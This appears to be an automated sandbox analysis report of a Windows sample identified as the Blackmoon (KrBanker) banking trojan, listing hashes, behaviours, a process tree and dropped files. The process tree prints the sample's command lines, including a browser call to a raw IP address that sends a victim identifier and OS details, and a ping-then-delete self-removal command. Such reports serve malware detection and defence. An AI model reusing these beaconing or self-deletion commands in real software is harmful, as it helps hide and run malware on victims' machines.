Analysis

  • max time kernel
    93s
  • max time network
    112s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-12-2024 12:04

General

  • Target

    8759d9c287fe386ebde7279a0b6f9e5bd7c0dff2031585fbb79ae66052292435N.exe

  • Size

    34KB

  • MD5

    ab811a31a008784c046000890d0994e0

  • SHA1

    3bf1515fee83dbc21ca834077e3848e04bda447e

  • SHA256

    8759d9c287fe386ebde7279a0b6f9e5bd7c0dff2031585fbb79ae66052292435

  • SHA512

    60dd50b424b17a8b253ac1831fb424fcfab61e8efc3e0b16d318ef6ebcf2e93ee3163daef530d0c5f6253f311cc1dde56eda4f767526b3eff1cda5445d8ebaab

  • SSDEEP

    768:gxa4PfkczEClQF0QGqwq0E6Na8WFaDrTCMNR8Gx8IPE7BNKSzHctMli:RQftW0QGq/aabWrTsGx3P6Cbtr

Malware Config

Signatures

  • Blackmoon family
  • Blackmoon, KrBanker

    Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.

  • Detect Blackmoon payload 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8759d9c287fe386ebde7279a0b6f9e5bd7c0dff2031585fbb79ae66052292435N.exe
    "C:\Users\Admin\AppData\Local\Temp\8759d9c287fe386ebde7279a0b6f9e5bd7c0dff2031585fbb79ae66052292435N.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Program Files\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://174.139.72.117/ad/get.asp?mac=196FDB0C3E170F39F317E758CB3C6A26&os=Windows 8&avs=unknow&ps=NO.&ver=jack
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3568 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:424
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ping 127.0.0.1 -n 3&del "C:\Users\Admin\AppData\Local\Temp\8759d9c287fe386ebde7279a0b6f9e5bd7c0dff2031585fbb79ae66052292435N.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 3
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2936

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    471B

    MD5

    863881560832be6db3d7e95507b796d8

    SHA1

    bab29c682b73454cb94d1a0edfaae5fd64d076f6

    SHA256

    1b8c898d463e9947656d97610caa6068a39c17fae72baa9168113364b7f70063

    SHA512

    0556ac3e08e23d12ba2558e3e1320f8c7591359a003c6b98e3d93208361000c3fc25dc13e9f4a3575ef854bd903b32f62a36e541ba10de67f38663d8d8debbcb

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    404B

    MD5

    20512ceff25bc53154b2667e8b2958fb

    SHA1

    f3c6e55d6cd261e28e7687c15256c5c72c915999

    SHA256

    fe3efffb05e973f138846f0d593f60055d766d10018251f6b03b3f0a7328b073

    SHA512

    47f0eaab3505d471096f908ba2358c36a335de4bf52182d1ec3d28cbedbaec9232ed7c448618436078e940524b7ecb6ca94238c8b58f2e36ca80a27ed3b04b3c

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver6B2.tmp

    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YB8IB6GH\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • memory/4544-0-0x0000000000400000-0x0000000000431200-memory.dmp

    Filesize

    196KB

  • memory/4544-3-0x0000000000400000-0x0000000000431200-memory.dmp

    Filesize

    196KB